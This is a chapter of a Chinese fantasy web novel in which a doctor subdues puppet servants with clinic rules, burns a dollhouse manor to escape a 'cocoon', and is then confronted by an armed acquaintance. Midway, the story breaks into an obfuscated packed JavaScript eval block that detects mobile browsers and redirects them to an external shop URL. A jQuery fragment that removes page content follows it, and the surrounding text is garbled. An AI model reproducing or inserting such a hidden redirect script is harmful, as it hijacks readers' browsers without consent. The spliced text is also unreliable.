“诊、所?不。家主,没有诊所。”管家率先从呆滞中回过神,说话逐渐变得流利:“您作为这座庄园的医生,应该很清楚,庄园里是没有诊所的。”
雁惊春调整了下别在胸口的【行医资格证】:“你刚刚叫我什么?”
“医生?”管家语调疑惑地重复了一遍,像是在奇怪她为何会提出这个问题。
交谈间,越来越多的木偶恢复了行动能力,加入了她与管家的对话。
“医生,不要再浪费时间了!得赶快完成献祭才行!”
“是啊,只要选择一个仆从作为祭品,我们的疫病就都能立刻痊愈!”
它们说着再次朝雁惊春聚拢过来,试图像先前那样控制住她,强迫她择选祭品。
然而当它们的手掌即将接触到她的身体时,却忽然遭遇了某种无形的阻碍,只能悬停在距她约十厘米外的位置,再也不能靠近分毫。
雁惊春像赶苍蝇似的挥舞了几下胳膊,那些环绕在她周身的手臂便被悉数弹开,好几只木偶因此失去了平衡,倒在了旁边的同伴身上。
由于它们站位过于紧凑的缘故,这几只木偶的跌倒顿时引发了多米诺骨牌般的连锁效应,致使其它木偶也一个接一个地倒了下去,转眼间就“噼里啪啦”地摔了一地。
“哎呀,难道你们还不知道吗?本诊所刚刚颁布了一条新的病患行为规范。”她指向消毒柜旁的宣传栏,一字一句地读出上面的内容:
“一、本诊所严禁医闹。在未获得本诊所医护人员允许的情况下,任何患者及家属禁止接触医护人员。”
“您的意思是,我是......患者?医生,我有病吗?”管家吃力地推开压在自己身上的另一只木偶,试图起身。
“就算之前没有,现在也有了。”雁惊春笃定道,“你们刚才摔倒时发出的声音很不寻常,根据我多年的行医经验判断,你们应该已经全员骨折了,当然算是患者。”
语毕,还不等木偶们挣扎着重新站起,她就颁布了第二条规则:“二、为了防止病情恶化、帮助患者更快痊愈,所有患者在生病期间均应躺倒休息,在被医生治愈前不得起身。”
伴随着她的话语,宣传栏上逐渐浮现出了新的文字。
待她话音落下,新的规则也成功生成,还没能完全站起的木偶们霎时间便犹如身负千钧重担,身不由己地被砸倒在地。
雁惊春看着周围横七竖八躺了一地的木偶,满意地点了点头。
她方才使用的是自己的最新技能【病患行为规范】,可以在诊所内制定3条有利于诊所管理的规则,用以规范病患的行为。
这项技能的使用效果受患者信服程度的影响,患者对她的信服程度越高,它们对规则的遵守程度便会越高。
而这个茧所拥有的特殊规则,令蜕们不得不将她的话奉为圭臬,恰好让它们对她的信服程度达到了顶峰。
在她和它们的关系由“家主和仆从”转变为“医生和患者”后,这种完全的信服依旧保留了下来,使得她颁布的【病患行为规范】达到了非比寻常的效果。
“织茧者,你可真是我的好助手啊。”她情不自禁地感叹道。
如果没有织茧者提前帮她驯服这些蜕,她哪能这么容易就叫它们乖乖听话?
“医生,您能不能先帮我治疗?我被压得好难受,胸口好闷啊。”一句嗲声嗲气的呼唤打断了她的感慨。
雁惊春被这做作的腔调膈应得直撇嘴,循声望向说话的木偶,通过它身上凌乱的半透明衬衫辨认出,它就是在她初入茧中时试图勾引她的男侍乙。
彼时她的心中满是警惕,美男在前也无暇欣赏,如今她总算有了观赏的兴致,可惜曾经的美男已然变为了丑陋的木偶。
它的面皮皲裂剥落,缝隙间露出木质的纹理,身躯干瘪泛黄,原本诱人的曲线尽数化作僵硬的刻痕。
见到雁惊春看向自己,它登时眼前一亮,伸手去扒自己的衣服,语气愈发殷切:“医生......”
“停,别给我来这套。”雁惊春抬手制止,“你也不看看自己现在变成什么样子了,还好意思跟我玩美男计呢?”
男侍乙身形一僵,连忙看向自己的身体。
在看清自己目前的样貌后,它顿时尖叫一声,慌张地将自己埋进了其它木偶下方,再也不敢与她对视。
雁惊春越过它,走到替代了方桌的手术台旁。
在手术台上,依然摆放着庄园的沙盘。这是阁楼转化为诊所后唯一一件没有发生变化的物品。
她抬手轻抚微缩的树冠模型,感受到指尖传来的逼真触感,越发肯定了自己的猜测。
——把人偶烧毁,与之对应的仆从便会消失,那么假如把整个庄园的模型焚烧殆尽,这座庄园是否也会随之灰飞烟灭?
试试就知道了。她这样想着,用手托住底座,猛地向上一拔。
......没搬起来。
她默默变幻了手势,试着将沙盘往外拖动,可沙盘仍旧纹丝不动。
在多次尝试挪动沙盘无果后,她无奈地叹了口气,望向宣传栏,暗自用意念制定了第三条规则。
【三、诊所中存在的一切物品均可视为本诊所的所有物,医护人员有权对本诊所的所有物做出处置。】
待规则生效后,雁惊春转回脑袋,再度尝试搬运沙盘。
这一次,沙盘被她轻而易举地抬了起来。
雁惊春勾起唇角,双臂用力,一把将沙盘从手术台上拽下,拖动着朝消毒柜的方向走去。
管家听到声响,费力地将头抬起少许,在看清眼前的景象后不禁惊呼起来:“医生,您这是要做什么?”
“想要预防疾病,就得先保证生活环境的干净卫生。”雁惊春朝它露齿一笑,“所以,整座庄园都需要好、好、消、杀。”
管家不清楚她口中的“消杀”是什么意思,但仍本能地感觉不妙:“医生,您别......”
雁惊春却不再理会它,还没等它把话说完,便拉开消毒柜,动作粗暴地将沙盘怼了进去,紧接着转动旋钮,将温度调到了最高。
在她的有意设置下,这台消毒柜的加热温度与速度都比寻常医院使用的消毒柜高了数倍,没过多久就达到了木材的自燃点。
第一簇火苗自一只人偶的头顶燃起,顷刻间便蔓延开来,演变为了熊熊烈火。
那些倒地的木偶本已陷入休眠般的沉寂状态,此时却倏然惊醒,纷纷发出惊恐的尖叫。
“救命!我不要做祭品,我不要被献祭!”
“哈哈哈,这次的祭品又不是我......等等,为什么,不是已经选出祭品了吗,为什么我也......?”
“我看到了!是医生!她把我们都献祭了!不对,里面好像还有——”
雁惊春转过身,注视着嘈杂的蜕群。它们的身上并未燃起火焰,躯干却在逐渐消失,宛如正在被某种无形之物飞速蚕食。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295448|189941||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>在它们被侵吞掉的身躯边缘,浮现出了一层黑色的物质,仿佛木材燃烧后残留的灰烬。
不止是它们,她身处的这个空间也在逐步消散。
透过残缺的墙壁,她窥见整座庄园都在无形的火焰中燃烧着。
富丽堂皇的建筑、典雅华美的花园,乃至那轮令人毛骨悚然的血月,而今竟都像是纸糊的虚假布景,看起来脆弱且渺小。
......奇怪。
那轮月亮,原来这么小吗?
目测只与人的脑袋差不多大......不,还要再小些,应该是拳头大小......不对!是只有指甲盖那么大!
雁惊春猛然从恍惚中回神,这才发觉自己凝望圆月的视角不知何时已由仰视变为了俯视。
在她的脚边,有几块破损严重、做工粗糙的家具和树木模型,瞧着像小孩子过家家时用的玩具娃屋。
她正想捡起一块仔细查看,那些残余的模型却像是热锅中的水珠般,顷刻间萎缩、消散了。
雁惊春皱了皱眉,直起身环顾四周。
华贵却虚假的庄园已然不见踪影,取而代之的是她简陋而温馨的小家。
她向前几步,坐到自己精挑细选的沙发上,紧绷的身体渐渐放松下来,不由自主地露出了微笑。
手腕上的光脑稍显迟钝地弹出了momo的信息:
【行动组雁惊春,恭喜您已成功破茧。】
“行动组雁惊春,恭喜您已成功破茧。”
一道似曾相识的声音与消息同时传来,雁惊春一个激灵,立即从沙发上弹起,警觉地望向声音的源头。
只见玄关处站着一名样貌毫无记忆点的女人,她身着一袭黑衣,手中正抛接着一个砖头样式的东西,脸上挂着漫不经心的笑容。
“段青锋?你怎么在这儿?”雁惊春满腹狐疑地紧盯着她。
“别紧张。”段青锋指了指她面前的空地,“我只是来附近杀个人,顺便给你送顿饭而已。”
送饭?
雁惊春不明所以,下意识朝她手指的方向看去。
——那是她破茧时所在的位置。
就在这时,她眼角的余光忽然瞥见段青锋正在朝她靠近,当即抬头制止:“停下,如果你继续往前,或是碰了什么东西的话,就别怪我不客气了。”
段青锋依言止住脚步,张开手掌:“放心吧,基本的道德我还是有的,不会随意动别人家的东西。但是——”
话音未落,她的袖中便骤然射出一道激光,精准地击碎了雁惊春手腕上的光脑。
“你该不会以为我只会离鞘,不会用枪吧?”段青锋笑嘻嘻地从袖中抽出迷你粒子枪,装模作样地吹了下枪口:“大人,时代变了~”
雁惊春低头看看光脑的残骸,不快地抿紧了唇。
段青锋却若无其事地转移了话题:“好好的一座娃屋,居然这么快就被你烧掉了。过家家不好玩吗?”
“你是故意把织茧者引到我这里来的。”雁惊春神色转冷,“你究竟有什么目的?”
段青锋摊了摊手:“我可没这么大的本事,这只织茧者是我们老大安排过来的。”
“本来打算用它把你喂到羽化的,不过现在看来恐怕是多此一举了。可惜了,这只织茧者可是老大好不容易才驯化好的,居然就这么喂给你了。”
雁惊春立刻捕捉到了她话中的关键信息:“你们想让我升级?为什么?驯化又是什么意思?”